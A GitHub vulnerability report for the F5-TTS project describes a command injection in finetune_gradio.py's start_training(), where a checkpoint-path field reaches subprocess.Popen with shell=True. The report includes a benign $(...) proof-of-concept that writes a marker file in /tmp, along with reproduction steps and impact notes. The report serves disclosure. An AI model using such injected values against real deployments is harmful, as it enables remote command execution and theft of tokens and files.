[Vulnerability] OS command injection in finetune_gradio.py start_training() via shell=True
Checks
- This template is only for bug reports, usage problems go with 'Help Wanted'.
- I have thoroughly reviewed the project documentation but couldn't find information to solve my problem.
- I have searched for existing issues, including closed ones, and couldn't find a solution.
- I am using English to submit this issue to facilitate community communication.
Environment Details
- OS: Linux container
- User privileges:
rootinside the container - Python: 3.11
- Environment manager: Miniconda
- Conda environment:
f5-tts - F5-TTS installation: local editable installation from the cloned repository
- F5-TTS source path:
/hdd2/ul7ear/F5-TTS- Affected source file:
/hdd2/ul7ear/F5-TTS/src/f5_tts/train/finetune_gradio.py- Gradio application URL:
http://127.0.0.1:7861/- Environment information
Python: 3.11.15 (main, Jun 11 2026, 15:20:16) [GCC 14.3.0]
Python executable: /hdd2/ul7ear/miniconda3/envs/f5-tts/bin/python
Gradio: 5.49.1
PyTorch: 2.13.0+cu130
PyTorch CUDA: 13.0
CUDA available: False
F5-TTS module: Nonegit -C /hdd2/ul7ear/F5-TTS rev-parse HEAD
git -C /hdd2/ul7ear/F5-TTS status --short
91f499635cb4f8b8a926e83f1839f5338bc2ef87Steps to Reproduce
The start_training() function constructs an accelerate launch command by concatenating values received from the Gradio interface into a single string.
For example, the pretrained checkpoint value is added as follows:
if file_checkpoint_train != "":
cmd += f' --pretrain "{file_checkpoint_train}"'The command is then executed through an operating-system shell:
training_process = subprocess.Popen(cmd, shell=True)The streaming branch also uses:
training_process = subprocess.Popen(
cmd,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
bufsize=1,
env=env,
)Because POSIX shells evaluate command substitution expressions such as $(...) inside double quotes, the checkpoint-path field can execute an operating-system command.
1. Create a test project
In the Gradio interface, create a project named:
security_pocThis creates a project similar to:
security_poc_pinyinCreate the raw.arrow file required by start_training():
touch /hdd2/ul7ear/F5-TTS/data/security_poc_pinyin/raw.arrowThe file does not need to contain a valid dataset for this reproduction. The shell command is evaluated before the training script processes the dataset or checkpoint.
2. Remove any previous marker
rm -f /tmp/f5tts_cmd_injection_poc3. Open the Train Model tab
Select the following project:
security_poc_pinyinEnable Finetune.
4. Enter the following value in “Path to the Pretrained Checkpoint”
$(printf 'F5TTS_POC\n' > /tmp/f5tts_cmd_injection_poc)This payload only creates a local marker file under /tmp. It does not access secrets, create a network connection, or modify application files.
5. Click “Start Training”
The application prints a command similar to:
accelerate launch "/hdd2/ul7e
ar/F5-TTS/src/f5_tts/train/finetune_cli.py" --exp_name F5TTS_v1_Base --learning_rate 1e-05 --batch_size_per_gpu 3200 --batch_size_type frame --max_samples 64 --grad_accumulation_steps 1 --max_grad_norm 1 --epochs 1 --num_warmup_updates 10 --save_per_updates 10 --keep_last_n_checkpoints 0 --last_per_updates 10 --dataset_name security_poc --finetune --pretrain "$(printf F5TTS_POC > /tmp/f5tts_cmd_injection_poc)" --tokenizer pinyin --log_samples6. Check the marker file
ls -l /tmp/f5tts_cmd_injection_poc
cat /tmp/f5tts_cmd_injection_pocObserved contents:
F5TTS_POC✔️ Expected Behavior
Values entered into file-path fields should be passed to the training process as literal command-line arguments.
Shell syntax such as the following should not be interpreted or executed:
$()
;
&&
|
>
`❌ Actual Behavior
The checkpoint-path value is concatenated into a shell command string and executed using:
subprocess.Popen(cmd, shell=True)As a result, command substitution contained in the checkpoint-path field is evaluated by the operating-system shell.
The non-destructive reproduction successfully created:
/tmp/f5tts_cmd_injection_pocThis confirms arbitrary command execution with the privileges of the F5-TTS Gradio process.
In the reproduced environment, the process was running as root inside a container. Therefore, the injected command executed with root privileges inside that container.
The security impact depends on deployment:
- On a trusted localhost-only deployment, an attacker requires access to the local Gradio interface or API.
- If the application is bound to
0.0.0.0, shared through a Gradio public link, published from a container, or exposed through an unauthenticated reverse proxy, this may become unauthenticated remote command execution. - An attacker could potentially read or modify accessible model files, datasets, environment variables, API tokens, and host-mounted files.
- Available CPU and GPU resources could also be abused.
Likely classification:
CWE-78: Improper Neutralization of Special Elements used in an OS CommandSource: SWivid/F5-TTS